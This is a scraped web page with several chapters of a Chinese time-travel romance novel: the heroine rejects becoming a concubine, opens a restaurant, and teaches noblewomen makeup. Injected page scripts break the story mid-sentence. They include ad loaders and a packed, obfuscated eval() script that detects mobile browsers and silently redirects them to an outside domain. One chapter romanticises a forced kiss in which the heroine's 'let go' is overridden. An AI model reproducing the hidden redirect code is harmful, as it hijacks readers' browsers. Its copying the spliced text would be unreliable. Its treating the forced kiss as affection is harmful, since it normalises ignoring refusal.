上皇家玉碟又如何?侧妃的名头再好听,不过也是个妾而已。 妾室再怎么受宠,在家庭中的地位也永远超不过正室。 家族里有嫁娶、祭祀等重要活动时妾室都是不能露面的,甚至是自己生出来的孩子也很难养在自己身边,说白了,妾室的身份在大户人家中就不过是个高等丫鬟罢了。 “民女不愿。” 左慕蕊一脸诧异,此女莫非是想以退为进?她打量着傅知乔:“你想清楚,今日若是放弃了,往后可就再也没有第二个机会。” “民女此生绝不与人做妾。” “不后悔?”左慕蕊似是不可置信一般,又问了一遍。 “不后悔!” 左慕蕊剩下的话被堵住了,“如此便好,记住你说过的话。” 她压抑着怒气带着一群仆从离去,上了马车后,章嬷嬷才开口:“这傅姑娘当真是有性格,面对王妃居然敢说此生绝不为妾,难道她真的不想进王府?” 左慕蕊声音冷静:“何止是伶牙俐齿。” 章嬷嬷跟在左慕蕊身边几十年,自然懂她的意思:“傅姑娘小小年纪,说话不卑不亢,那股子老成和稳重的心性,实在叫人讨厌不起来。” 左慕蕊靠在软枕上,叹道:“难怪怀砚会喜欢她。” 说实话,此刻左慕蕊的心情很复杂。 傅知乔若是世族女子,有这种性子她定然是要夸赞的,只可惜她的出身实在低微,说出永不为妾这种话来只会让人觉得心比天高,不自量力。 章嬷嬷认可地点点头,问道:“那您瞧着,这事要怎么处理才恰当?” 说真的,傅知乔冷静自持的表现确实能让左慕蕊高看她一眼,但也仅是如此了。 左慕蕊并未真正将傅知乔放在眼里,今日过来敲打一番已经足够,她不相信傅知乔敢违逆她,眼底闪过一道精光:“她既已表明不会进王府当妾,我们且看着……” 75. 初吻 左慕蕊走后,傅知乔一直处于紧绷状态,独自在正厅里坐了好一会,她表面上风轻云淡,其实心里十分不好受,被人嫌弃家世出身这种事情着实让人有些难堪。 穿越之前她是作为家族继承人培养的,走到哪里都是一片奉承之声,再世为人被迫寄人篱下、被退亲、被嫌弃家世,当真是各种滋味都体验过了。 王妃肯定是在谢卓那边说不通,才退而求其次来找自己,那谢卓的态度是怎样的呢?他跟王妃说要娶自己吗?还是他同意让自己当妾? 对于左慕蕊许她侧妃之位的提议,傅知乔半点兴趣都没有,与其他女人共享丈夫,这种事她做不出来,把自己的脸面放在脚下去王府当妾,她做不到! 当个自由人不好吗? 傅知乔捻着手腕上的佛珠,心中有了决断。 不管怎样,任何人都不值得她放弃自己的人格,做妾这两个字不应该出现在她的人生里。 她穿越千年的时光,可不是要给人当妾的。 谢卓很好,她很喜欢,但也只是喜欢罢了,还不值得她放下自尊,放下一切去他后院里当个妾室。 她努力了这么久才建立起自己的事业,不可能就这样放弃,她有娘亲、有丫鬟伺候、有田地有铺子,当个普通人照样能过得有滋有味。 谢卓回了王府后才知道左慕蕊去找了傅知乔,他脑子一抽一抽的,出征在即,母妃怎么还会给自己找麻烦。 从王府出来时夜色已深了,他急忙赶到傅知乔的小院子,寒风随着开门的缝隙一同卷入室内。 傅知乔坐在桌前看书,听到动静,她放下书:“你来了。” 此刻,她有点不知道该用什么样的心情来面对他。 “嗯!”来之前谢卓心里有一万句话要说,见到人后却说不出口了。 沉默片刻,谢卓伸手主动勾住了她的手指,带着点试探与讨好的意味。 傅知乔没有拒绝他的示好,谢卓的心渐渐稳定了下来,一开口,语气有几分幽怨:“母妃的意思不能代表我。” 谢卓不知道左慕蕊会跟她说了些什么,但不用想也知道,肯定不会是什么好话。 傅知乔手指收紧,反握住他有些微凉的手掌,两个人的手指亲密的纠缠在一起。 “我知道。”她的声音很轻,“你跟王妃说过要娶我?” “嗯!”谢卓面色坦荡,没有丝毫要隐瞒的意思。 谢卓眼中满是认真,傅知乔心中微微触动,她知道谢卓想娶她这事非常难,上辈子她的出身豪门,家里对她婚事的把控也是相当严格,她交几个男朋友都无所谓,也没人会阻止,但她的结婚对象一定是万里挑一的。 设身处地,换做是她站在左慕蕊的角度,她也不会允许自己的儿子娶一个家世相差过大的女人。 谢卓说要娶她,怕只是他自己的一厢情愿。 “我可不给人当妾。” “不是妾,是妻!”谢卓急了,急忙道:“我发誓,我,谢卓,此生只想娶傅知乔一人!” 此话一出,屋里便陷入死寂。 对上谢卓幽深如潭的黑眸,傅知乔久久地陷入恍惚之中。 说实话,谢卓有这种想法实在出乎她的意料,她真的没有听错吗?在这三妻四妾的时代,真的有男子追求一生一世一双人吗? 她缓了缓才说:“虽然不想承认,但你我家世太过悬殊,是走不到最后的。” “现在不能,不代表以后也不能!”谢卓语气坚定,像是在宣誓一般。 傅知乔并没有接话,她看着谢卓的脸,有点不知道该如何接话才好,他满眼的爱意不是假的,可横在两人中间的身份差距也不是假的。 她能相信他的承诺吗? 傅知乔整个人像是被撕开两半一般,理智告诉自己不可信,可心底有个声音一直在说,相信他!相信他! 见傅知乔久久没有回应,谢卓小心翼翼看她的表情:“你不愿意?” 傅知乔抬眸:“以后是多久?” 这个问题倒是把谢卓给问倒了,他也说不出确切的日期,皇帝是在打压世族没错,可世族的底蕴强大,不是一朝一夕就能解决的。 门第差距一时半会解决不了,谢卓无法给出准确的回答。 傅知乔睫毛颤了颤,一双清澈的眼睛似乎要望进谢卓的心里去:“你要我怎么相信?世子心中也没有底不是吗?” 连他的名字都不愿叫了,她分明是带着怨气的,谢卓把傅知乔拥进怀中,语气略有低落,“不要叫我世子,不要与我这么生分!” 傅知乔没有心思管他的语气,她沉浸在自己的思绪里。 谢卓现在是世子,离继承王位还有数年之久,在这之前她难道要无名无分跟他在一起吗?反正他将来的正妃不会是自己,倒不如趁早放手,等往后两个人的感情更深了,她不确定到时自己能狠心拒绝他的请求。 “若是进了王府内院里,我家中无权无势没办法保护自己,进了王府后我唯一所能倚仗的就是你的喜爱,若有一天你变了呢?” “我不会变的!” “可我不敢赌!”傅知乔狠心挣脱他的怀抱,“余生太长,我不敢赌。” “我今日跟王妃说了,我此生绝不为妾。”别说谢卓不能娶她,就算娶了她又如何?他能一辈子只有她一个吗?王公贵族哪个不是三妻四妾。 她有自知之明,以她目前的身份,真的无法与身为王府世子的谢卓相配。 一想到要与谢卓分开,她的心头仿若被尖物扎了一下,传来阵阵刺痛。同时,她心里也明白,现在分开的痛苦只是暂时的,她若是进了后院当妾,那种痛苦将会跟随她一生。 趁她还未深陷,及时抽身才是明智之举。 傅知乔微敛着眉,心里的某种情绪忽然压制不住,她直接背过身,不愿意再看他一眼。 “世子,我虽出身不高却也不是个可以任人羞辱的人,你既已定亲,我们还是早点分开的好。” “我不同意!” 谢卓脑中轰然一声,扶住傅知乔的肩膀让她面对自己,他紧紧盯着傅知乔的脸,似乎是不敢相信她能说出这样绝情的话。 傅知乔不敢直视他的脸,谢卓这张脸对她的杀伤力是巨大的,面对面她真的无法硬下心肠。 “天色不早了,世子请回吧!”话落,傅知乔挣开他的手朝里间走去。 谢卓两步追了上来,死死盯着她的眼睛,“阿乔,你要放弃我了吗?” 傅知乔沉默不语,半晌才回了一句:“世子身份高贵,何愁不能觅得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 如意佳人。” 谢卓最后的那一点耐心也在此刻消失殆尽,他紧咬着牙将怒气憋回喉咙,盯着近在咫尺的红唇,一欺身贴了上去。 傅知乔本能的往后退了两步,反应过来时她已经被抵到了桌沿上,谢卓捏着她的下颌不容她退后,带着不容拒绝的力度,他迫切想把那些难听的话全部堵住。 双唇贴近,呼吸交错。 “放……放开……唔……” 傅知乔含混地拒绝他。 呼吸被夺走,伴随着细碎的嘤咛,傅知乔身体不受控制的下滑,却在下一刻被他托住。 男女之间的力量太过悬殊,傅知乔只能揪住他的衣襟,潜意识是抗拒的,但身体又不受控制地顺从她。 身体温度节节攀升,她彻底失守,无法逃脱。 宽大的手搂着傅知乔的腰,谢卓恨不能将她揉进自己身体里,两个人一丝空隙不留。 他常年习武,气息深厚,可傅知乔不是,感受到怀中人的呼吸渐渐变弱,谢卓才放开她。 胸腔里被夺去了太多空气,傅知乔急速喘着气,脸颊因为呼吸不畅憋得通红。 “混蛋!”说出来的话尾音不稳。 “好,我是混蛋。” 他又低头吻她的嘴角,舔舐她的唇珠。 看着经过他触碰后越发湿润嫣红的红唇,漆黑的眸中是化不开的情意,谢卓宠溺的摸了摸傅知乔的头发,帮她把略显凌乱的发丝拨到耳后,白皙脆弱的颈脖便展露出来。 他立即贴上去,唇瓣贴些她的颈侧,声音沙哑:“阿乔,相信我,好吗?” 亲昵又酥痒。 傅知乔狠狠瞪了他一眼,可眼睛里蒙上了一层水汽,并没有什么威慑力。 谢卓也没有再做其他的动作,抱着傅知乔平息自己的气息。 人明明是在自己怀中,却有种要失去她的感觉,谢卓用力收紧双臂揽着她的要贴近自己,说:“我明日就要北上平乱,等我归来……” 谢卓细细与傅知乔说着自己的计划,手指轻轻摩挲着她的手背,像是在抚摸一块温润的美玉。 说完谢卓俯下头来,额头抵住额头,轻声在她耳边说:“阿乔,我发誓,此生绝不辜负你!” 怕她不信,他又重复了一遍。 傅知乔沉默了好一会,突然生出些自我厌弃的情绪。 谢卓在为了她与家族抗争,而她只想着逃避,她的眼睛有些发涩,认识谢卓时她并不知晓他的身份,此刻,她却要因为身份问题单方面放弃他的爱,这对谢卓来说公平吗? 或许,她应该再坚持一下。 傅知乔目光逐渐坚定起来,说:“谢卓,也许你会不理解,我可以喜欢一个男子,但如果他已有妻子,无论我如何喜欢他都不会在与他纠缠在一起。” 谢卓闻言紧紧攥住了她的手,心里一紧:“我不是……” “你先听我说完。”傅知乔捂住他的嘴,她刻意放软了声音:“我们做个约定好不好?在你没有定亲前我不会离开,若我们最后不能在一起,我选择离开时你也不要阻拦……” 同时,她在心里默念:谢卓,你可千万别让我失望! 她愿意为这份感情再争取一下,倘若事情的发展不如预期,她也会给自己留一条后路。 76. 酒楼招工 谢卓走后,傅知乔把所有的心思都放在了酒楼上,酒楼的名字她打算沿用太白酒铺的风格,叫太白楼。 太白楼的装修进度很快,傅知乔去巡查过几次,每一层基本的格局已经修建好了,接下来就是雕花上漆等活计了。 工程进行到一半时她看了下账单,尽管已经做了心里准备,看到数字时她还是吓了一跳。 前期投入已经花掉了近三万两了! 傅知乔的要求很高,酒楼里各种用料都要选最好的,直接结果就是导致酒楼的装修花销激增。 不止装修要花钱,招纳人手也要花钱,还有厨具采购、人员配置、食材供应链……每一笔的花费都不少,傅知乔安慰自己,等太白楼一开,这些银子都能赚回来的! 程业玄被傅知乔留在酒楼里当监工,他一身武艺在酒楼里当监工实在是有些屈才了。 傅知乔看他一脸菜色,给了程业玄一笔钱,让他去招揽一些有武艺的人来太白楼里当护卫。根据她在青州开酒铺的经验,酒楼里打手和保镖的职位是必不可少的,万一有人在酒楼里闹事,没有人做安保工作可不行。 “太白楼开业后,护卫是必不可少的。” 程业玄闻言眼睛一亮,摆脱掉监工的头衔让他如负释重。 傅知乔看他一副我又重新活过来了的模样十分无语,把招纳护卫一事全权交由程业玄,“按照武艺水平,每人每月三到五两银子,管吃管住,只要能在你手下能坚持三五招的人就算合格!” 程业玄领命下去了,在他手下过三五招这个要求不算太低,但京城并不乏能人异士,他混迹江湖多年有自己的消息渠道。 德福则被她新安排了一个招店小二的活计,德福在太白酒铺当了许久的掌柜,对于识人辨人方面已经有了自己的心得。 德福分别在太白楼和城门的告示墙上贴了招工告示,然后就守在酒楼里等应招的人过来。 挑人也没人什么要求,只要五官端正,干活利索就行了。 因为太白楼开的银子高,陆陆续续有人看到告示过来询问情况。 “掌柜的,请问你们酒楼要招什么人啊?”一个衣裳洗的发白年轻的男子站在门口往酒楼里张望。 “来招工的?先进来坐会儿。” 年轻男子见有人招呼自己后松了口气,连忙回答道:“是的,我是来应招的。” 德福上下打量着他,年轻力壮、相貌端正,基本上是符合酒楼选人要求的,可就是这性子有点腼腆。 “我们酒楼里招侍者,只要求爱干净,要是能识得几个字就更好了。” 年轻男子一听要选会识字的人,随即急切的问道:“那掌柜的,您、您看我怎么样?我叫龚安阳,今年二十有一,已经考过了童生,我的力气也不小,挑柴担水都不在话下。” 考上了童生,算得上半个读书人了,想必是家境困难供不起了他继续读书了,德福思考了片刻:“可以倒是可以,不过,进我们酒楼干活要签两年的合约,你可愿意?” “两年?”龚安阳犹豫了,家里人供他读书是希望他能考上秀才带领全家过上好日子,如果他在太白楼签两年长约的话,等于是放弃了明年的考试,明年不能下场,他又要再等好几年…… 德福见状也不着急催他,转而去一旁回答其他人的问题了。 龚安阳在门口站了一会儿,想着自家的情况,娘为了给他攒束脩不分日夜给人做绣活,眼睛都快熬瞎了。妹妹眼看也要到出嫁的年纪,可家里却拿不出嫁妆来,他不能再拖累这个家了,看着告示上写的一个月至少半吊钱的工钱,他握紧了拳头下定了决心。 “掌柜的,我愿意!” “行,五日后你来酒楼后门参加培训。”德福在员工册子上记下他的名字、年龄、住处等基本信息,看在他读过书的份上,还把他选进太白楼里当账房先生的助手。 招工告示贴出去四五日,共有一百多人过来参加招工。 德福选的都是年龄合适,五官端正,看起来干净整洁人,尤其是侍者的人员更严格些,要求脸部和手部等露出肌肤没有明显瑕疵才行。 经过一番筛选一共留下了五十多人,其中包厢男女侍者共十人,跑堂二十多人,还有干杂活二十个人。 签完两年的雇佣协议,他们正式成为太白楼的员工。 给酒楼员工培训的活是崔嬷嬷和德福和负责的,崔嬷嬷教他们接人待客的礼仪,德福就教他们在酒楼内干活的各种事项。 将酒楼后院的空房间清理出来作为临时住所,接下来的大半月里,这些员工都在这里学习酒楼里的规矩,以及如何礼貌招待客人、如何走路声音更小、如何上菜更快速、如何倒酒酒不会溅出来…… 德福和程业玄是她的得力助手这点自然不必多说,除了他们两人之外,傅知乔手边还有一个十分能干的人,名字唤作盛安。 盛安是谢卓在出征之前给她留的人,相貌普通武力却很强,是老王爷谢和山给谢卓培养的暗卫,现在只听谢卓一人号令。 之前母妃背着他来找傅知乔,如今自己离开京城,谢卓便不放心留她一个人在京中,安排了盛安护她安全,傅知乔欣然接受他的好意。 盛安原本是顶级暗卫,结果被她用成了跑腿的。 京城不比青州,周边的农庄基本上都是各家大人的私产,不是她想买就能买得到的。盛安为她寻找到附近的一些农庄,最终她选中了郭家村,为酒楼提供蔬菜和鸡鸭等禽类食材。 “送到酒楼的食材务必要保证新鲜,你们只需把食材送到酒楼后门便可。”傅知乔将所有事情都交代好,约定好了开始送货的日期,与郭家村签订了供货合约。 酒楼装修、人员配置和食材渠道都解决了,一切事情都在往好的方向发展。 * 十一月中旬,京城迎来了冬季的第一场雪。 雪花沸沸扬扬地飘落,在屋顶和街道铺上了一层厚厚的积雪,远远望去是一片苍茫的白色。傅知乔站在院子里,突然来了煮雪烹茶的兴致,她带着几个丫鬟在院子里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 收集树叶上的雪。 崔嬷嬷看到她被冻得通红的手,“姑娘好兴致,只是这天冷着呢,莫要冻坏了!” “嗯,马上就好。”傅知乔的鼻头冻的红红的,脸上的笑容却是灿烂至极。 刚从树叶上采集来的雪还未融化,崔嬷嬷把收集来的雪放在一边,让下人帮忙支起炉子,她随后往炉子里扔了几块银丝炭,开始煮雪水。 在雪地里走了一遭,傅知乔的衣摆有些湿了,她回房间换了身干净的衣服出来时正好铁壶里的雪水也煮开了,传出“咕噜咕噜”的沸腾声。 崔嬷嬷跪坐在地上,姿态端庄,沏茶的手法行云流水。 热气弥漫,茶香飘散,还没喝进肚就已经感受到了暖意。崔嬷嬷把沏好的茶放在她面前,傅知乔端起茶杯细细一嗅,然后小抿了一口,茶香芬芳,味道甘洌。 傅知乔露出一抹满意之色,“嬷嬷好手艺!” 煮雪烹茶,人间雅事。 边喝茶崔嬷嬷边跟她汇报太白楼的近况,目前太白楼的员工已经培训的差不多了。 傅知乔点点头表示自己知道了,太白楼的各项进度比她预计的还要快一些,这样一来,或许酒楼能赶在年前开业,不必等到年后了。 喝完茶,傅知乔带着盛安和银杏出门找铁匠。 朱铁匠的打铁手艺在城西这一带颇有名气,盛安将傅知乔领到他的铺子门口。 外头雪花纷飞,铺子里却是一片火热,随处可见烧红的热铁。 朱铁匠满脸胡须,身材魁梧,正抡着大铁锤对着一块烧红的铁片敲打着。 渐渐地,铁片由红变暗,他重新把铁片放进炉里,烧红后再次取出来敲打,“叮叮叮”一锤又一锤下去,火星四溅,一会功夫,一个锄头的雏形形成了。 朱铁匠把打好的铁器放入水槽内,随着“吱啦”一声,水中飘起了一股白烟,淬火完成。 盛安上前表明来意。 傅知乔开口:“我要的东西有些特殊,不知朱师傅能不能做出来。” 朱铁匠哈哈大笑,“不是老朱我吹牛,全京城再也找不出手艺比我更好的了,除了兵器就没有我打不出来的东西!” 因为战争的原因,铁制品是十分珍贵的资源,兵器类的铁器生产全部掌握在朝廷手中,民间是没有资格制作兵器的,平民私自制作兵器被发现是要杀头的,所以朱铁匠才说自己除了兵器之外其他都能制作。 傅知乔把图纸交给铁匠,菜刀、铁锅、铁板、铁铲、铁架……大大小小的厨具共有二十来件。 交了三十两定金,约定好五日后过来取货。 有盛安在一旁打点,定制厨具一事办的格外顺利。 从铁匠铺子出来,傅知乔让盛安先回去,自己和银杏要逛会街。 盛安并在这件事上没有听她的吩咐,而是隐藏身形远远地跟在她身后,世子爷交代的任务就是要护傅姑娘安全,他不敢有半点马虎。 傅知乔知道他没有离开也不在意,带着银杏在大街上逛了起来。 77. 心机素颜妆 京城的集市很繁华,人流涌动,叫卖之声连绵不绝。 “姑娘,这里比我们青州的大集还要热闹呢!”银杏拿着一串冰糖葫芦跟在傅知乔身后,眼里满是见识新鲜事物的喜悦。 傅知乔本来是想逛逛京城的杂货铺,看看有什么特殊的调料或香料可以入菜。结果走了好一会也没看见杂货铺的影子,一问路人才知道走错了地方,她现在的位置是在城西,要买调味料应该要去城南的四通集市。 东贵西富,南贫北贱,这八个字基本上可以概括出京城的格局。 东边住的都是些达官贵人,富豪乡绅大多住在西边,南、北两个方向则是普通百姓居住的地方。 傅知乔估算了下距离,从城西到城南坐马车也要半个时辰,而她现在只有两条腿,算了,下次再去城南吧。 调味料是买不成了,傅知乔干脆带着银杏闲逛起来,点心铺、古玩店、典当行她都逛了一遍。 想着接下来去哪里逛的时候,一道熟悉的声音响起。 “知乔妹妹,果真是你!”周妙思刚从首饰铺子里出来,就看到了一抹熟悉的身影。 上次在永安寺一别后,周妙思派家里的下人打听过傅知乔的消息,可京城太大了,她又不知道傅知乔的住处,最后下人们只能无功而返。 所幸今日又碰到了。 周妙思热情邀请傅知乔跟她一起逛逛,不容傅知乔答应,就被周妙思拉着去了隔壁的胭脂铺子,与周妙思同行的还有秦修齐的妹妹秦惜玉,两人微笑着点头算是打过招呼了。 珍芳阁里的胭脂水粉都是时下最流行的,是京城女子最爱的去的地方之一。 秦惜玉显然是这里的常客,一进门就问:“陈娘子,今日可有什么新货?” 一个打扮得花枝招展的中年女子迎了上来,“是秦小姐来了啊!这不是巧了么,昨儿个刚到了一款新的口脂,最适合秦小姐您这样妙龄女子。” “是吗?快拿来给我们看!”秦惜玉听到有新货立刻兴奋起来。 京城里的女孩们,尤其是家中有钱人家的姑娘,除了学习基本的琴棋书画之外最爱的就是捯饬自己了。哪家布庄出了新布、哪家首饰铺子出了新样式、哪家绣庄的手艺更好……这些消息都在她们的掌握之中。 陈娘子把她们三人迎到雅座上,女侍们端着托盘站在旁边候着,一个个小巧精致的胭脂盒摆在托盘里供她们挑选。 傅知乔取了一盒水粉在手上试了试,“不错,粉质细腻,味道清淡好闻。” 陈娘子听到夸奖后眉毛都要笑飞了,“这位姑娘可真是行家呀,这款迎蝶粉可是我们珍芳阁研究出的新货。” 周妙思听到两人的对话,一边挑选胭脂一边给秦惜玉介绍傅知乔,说傅知乔的化妆技艺如何如何出众,把秦惜玉说的两眼放光,一副跃跃欲试的神态。 秦惜玉伸手挽住了傅知乔的胳膊,用水汪汪的眼睛看着傅知乔:“傅姐姐,你也可以帮我改妆吗?” 傅知乔叹了口气,她真是服了周妙思的说话功力,简单两句话就把她推销了出去,周妙思要是生活在后世一定是个王牌销售! 胳膊都被抓住了,傅知乔还能拒绝不成。 珍芳阁的服务很到位,一听秦惜玉想要现场试妆,陈娘子当即给她们找了间隔间,丫鬟帮秦惜玉洗去脸上的胭脂。 傅知乔重新替她化妆,先擦面脂打底,再打一层刚刚试用过的迎蝶粉,然后是画眉、眼妆、唇妆……傅知乔指尖快的好似在飞舞,短短半刻钟时间,秦惜玉的面貌就发生了大改变。 “秦姑娘今日穿着鹅黄色,用嫣红色的口脂更能衬出你的皮肤。” 傅知乔环视了一圈梳妆台,没有看到小刷子模样的东西,她只好用自己的手指沾取唇脂,按照秦惜玉原本的唇形描绘出轮廓,从嘴角开始向嘴巴中间厚涂上一层霁红的口脂。 “嘴巴张开,抿一下。” 傅知乔把帕子折叠起来塞进秦惜玉嘴中,秦惜玉轻轻抿一口,嘴唇上的颜色就淡了很多,这个步骤重复了两遍后,口脂的显色度终于达到傅知乔满意的效果。 嘴唇上的唇脂如桃花般粉嫩,眼腮处都泛着红粉,化妆完成的秦惜玉看上去粉嫩又清新,活脱脱一个元气少女。 口脂颜色经过处理后,红的不浓不淡,十分自然,看上去就像是秦惜玉原本的唇色一样。 秦惜玉年纪不大,傅知乔给她化的妆容很清新甜美,这种妆用后世的话来说就叫心机素颜妆! “秦姑娘,化好了。”傅知乔退后一步,让秦惜玉能完整的照到铜镜。 秦惜玉站在镜子前看着自己的脸,舍不得挪开视线,明明肤色没有之前白,但是看起来却更好看了,兴奋道:“傅姐姐你是怎么做到的?” 周妙思凑近秦惜玉的脸仔细看着:“知乔你的手法又精进了,惜玉妹妹这个妆面不凑近看的话,别人根本不会发现她上了妆。” 周妙思说完对着秦惜玉得意一笑,“惜玉,我没说错吧,知乔的化妆手艺可是一绝!” “秦姑娘的模样本就长得好。”傅知乔眼带笑意。 “傅姐姐叫我名字就好。”秦惜玉笑嘻嘻的,想要拉近跟傅知乔的关系。 傅知乔从善如流:“惜玉妹妹。” 陈娘子拿着自家的新款胭脂过来推销,看着秦惜玉的脸也是大吃一惊,不过她立即反应过来,“秦小姐本就是个丽人儿,抹了我们珍芳阁的胭脂后更是锦上添花,美貌动人!” 秦惜玉被夸得心花怒放,一挥手把所有试过的胭脂水粉都买了下来。 傅知乔也给周妙思推荐了两款适合她的胭脂,出了珍芳阁,周妙思还要了傅知乔在京城地址,免得她下次找不到人了。 与周妙思分别后,傅知乔就回了家,并不知道周妙思和秦惜玉顶着她化的妆去参加了秦家家宴。 秦家今日家宴的主角是秦碧巧,她是秦兆的妹妹,嫁到了安国公府三房,今天带着儿女回来看望老夫人。 礼部侍郎府现在的当家人是秦兆,老爷子已经在三年前去世了,家中长辈只剩下老夫人卢氏,她如今六十有三,头发已花白了一半,但眉眼间依旧可见年轻时的风华。 老夫人坐在主座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13788867|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,右手边坐的是秦兆,左边坐的是秦碧巧,儿女子孙都在身边,老妇人眉眼间都是喜色。 秦惜玉面带微笑,乖巧的走到老夫人跟前,欠了欠身子行礼。 “祖母安好。” “好好好!”老夫人看着一群小辈们,心情十分舒畅。 冬天的天色暗的早,侍郎府早早就燃起了灯。 一家人吃完晚膳也不过酉时。 家里的男子们在外院,姑娘们则都聚在秦惜玉的院子里。 秦惜玉今天换了一种全新的妆容,显得她格外的漂亮,周围几个堂姐堂妹早就注意到了,大家都好奇的凑了上去。 堂妹秦映云离她最近看的也最仔细,惊讶的问:“惜玉姐姐,你的口脂竟然没掉?” 贵女们为了维持自己的形象,吃东西都是小口小口吃的,这样嘴上就不容易沾到菜汁。即便已经吃的很小心了,但用完晚膳后大家的口脂都掉的差不多了,唯有秦惜玉唇妆保持的最完好。 秦惜玉暗自得意,伸手将脸颊的一抹发丝撩到了耳后,“因为我用了特殊的化妆方法。” 她用了傅知乔独特的抹口脂方法,几乎没有掉色。 “什么方法?” 秦惜玉刚想开口就被周妙思制止了,“惜玉妹妹慎言,那是知乔妹妹的独门方法,没有经过她的同意我们不能外传!” “对,是别人的独家秘密,我不能说。”被周妙思一提醒,秦惜玉也反应过来了。 独家方法?被周妙思和秦惜玉这么一说,秦家其他的姑娘更感兴趣了,以为她俩在卖关子,一个劲的追问,有种今天不问出来就不罢休的气势。 周妙思被问得烦了,只好回答:“惜玉妹妹的这个妆叫素颜妆,用的是珍芳阁的胭脂。” 秦惜玉在一旁附和着点头。 在座的姑娘们都是用过珍芳阁的胭脂水粉的,同一家店出的胭脂,怎么她们怎么化不出这种效果呢? 有些事情,越是遮遮掩掩就越能引起别人的好奇心。 “妙思姐姐,知乔是谁?” “珍芳阁新来的梳妆娘子?” “到底是什么独家方法?能不能让我见识见识?” 一群女孩们聚在一起叽叽喳喳追问着,吵着要她们帮忙引荐这位梳妆娘子。 “哼!我看你们就是不想把变美方法告诉我们,才用梳妆娘子来当借口。”见周妙思和秦惜玉一直不愿意回答,秦映云抱怨的说了一句,声音不大但十分突兀。 秦惜玉听后也来了火气,“给我化妆的人是妙思姐姐的好友,并不是珍芳阁的梳妆娘子!傅姐姐是看在妙思姐姐的份上才帮我化妆的,我前脚才得了人家的好处,难不成后脚就把人家的独家技艺给透露给你们?” 秦惜玉一番指责,秦映云哑口无言。 秦家其他的姑娘们也面面相觑,气氛十分尴尬。 周妙思叹了口气,她也没想到事态怎么发展成这样了,连忙开口打圆场:“惜玉妹妹说的没错,知乔确实是我的朋友,众位姐妹若是对她的化妆手法感兴趣,我下次帮忙引荐可好?” 78. 打入贵女内部 周妙思说到做到,没出两天就找上了傅知乔。 周妙思把当天的情况简单的说了下,脸上带着几分不好意思:“知乔妹妹,真是对不住,我没有经过你同意就说要把你引荐给她们,你不会生气吧?” 傅知乔哭笑不得,怎么周妙思每次找她都是要她帮忙化妆。 “你们有多少人?” 周妙思回想了下,回答:“差不多有十个!” 傅知乔思考片刻就答应了下来。 一来,她与京城的贵女结交并不是坏事,二来,在青州时多亏周妙思的宣传她才能顺利把扶云阁开起来,这点小事她自然要帮周妙思做到。 不过,有十来个贵女想学,一对一教学的话她没有那么多的精力,她也不想花大量的时间在这群贵女身上,不如干脆把所有人拉到一块,一次性解决! 傅知乔把自己的想法告诉周妙思。 周妙思一听她愿意教学,明白她是给自己面子,心里十分感动,“没问题!知乔妹妹,此事就当是我欠你一个人情。” “你我之间不必说些欠来欠去的话,不过,下月个我的酒楼开业,到时妙思姐姐可要过来帮我撑撑场面!” “一定一定!”周妙思满口答应下来。 太白楼开业在即,仅凭太白酒的名气是很难把太白楼在京城的市场彻底打开,或许她可以从这群贵女身上入手,利用教她们化妆这件事进入到京城的贵女圈层,然后再从内到外慢慢宣传自己的酒楼。 太白楼的消费主力不止是男性,女性也是很大的消费的群体。 教贵女们化妆这件事对她也有好处,据傅知乔了解,各家小姐的妆容要么是自己动手,要么是家里的丫鬟帮忙化妆,所以她们看到秦惜玉通过化妆瞬间变得美丽后都想学。 抱着宣传自家酒楼的目的,傅知乔对给一群世家千金上化妆课这件事更加上心了,她提前跟周妙思了解贵女们的长相和打扮风格,并在脑子里搜寻了几个简单易学妆容。 另一边,周妙思敲定好教学的日期,再三跟自家的姐妹们强调,“你们可以跟知乔学她的化妆技法,但是不能教给别人,要是被我发现了有人泄密……就别怪我翻脸不认人!” 周妙思是青州刺史的女儿,同时也是秦修齐的未婚妻、礼部侍郎未来的儿媳妇,她说的话在这群姐妹中还是很有分量的。 到了正式教学这天,傅知乔带着请帖上门,门口的侍女得了自家小姐吩咐,看到傅知乔的马车后立刻迎了上来。 教学的地点定在了秦惜玉的院子,来参加的人都是自家的姐妹。 因为要给一群千金小姐教学,傅知乔特意打扮了一番,身着黛蓝色蝴蝶穿花云缎裙,外套穿了件合身的锦缎小袄,领口处还缝制了一圈雪白色的兔子毛,既保暖又美丽。 她身材纤秾合度,蛮腰赢弱显得楚楚动人,脸上薄施粉黛,乌发梳成一个反绾髻,额前垂着一枚小小的红色宝石更是衬的她肌肤如玉。 论相貌,傅知乔已是世间少有的绝色,但更吸引人的是她身上的气质,灵气飘然,像误落凡尘的仙子,不染尘垢。 周妙思走过来为姑娘们介绍傅知乔的身份。 傅知乔微微颔首,红润的嘴唇翘出一个完美弧度。 看到傅知乔的相貌后,在座的姑娘们也不自持身份了,纷纷笑着过来跟她打招呼,对她的态度十分热切。 秦惜玉的闺房里,梳妆台上摆满了各种化妆的工具,一旁的香炉里飘出白色的烟雾,香气充满了整个房间。 在傅知乔准备工具的时候,周妙思转身告诫自家姐妹:“知乔在教学的时候大家不要打岔,有疑问也要等她空了再问,不要失了礼数!” 一切准备就绪,傅知乔的心机素颜妆小课堂正式开课! 给她当模特的是秦氏家族里的一个表姑娘,因为其他的小姐们不愿意把自己脸上的缺陷暴露在大家面前,身份上稍微差一些的表姑娘便被推举了出来。 京城的女子好像都很在乎美白的问题,看她们脸上抹的那一层厚厚的胡粉便知道了。 傅知乔招来小丫鬟为表小姐洗去妆容,“首先,化妆前一定要在脸上擦上面脂,面脂可以让我们的肌肤保持滋润的状态,后续化妆的时候才会平整服帖。” 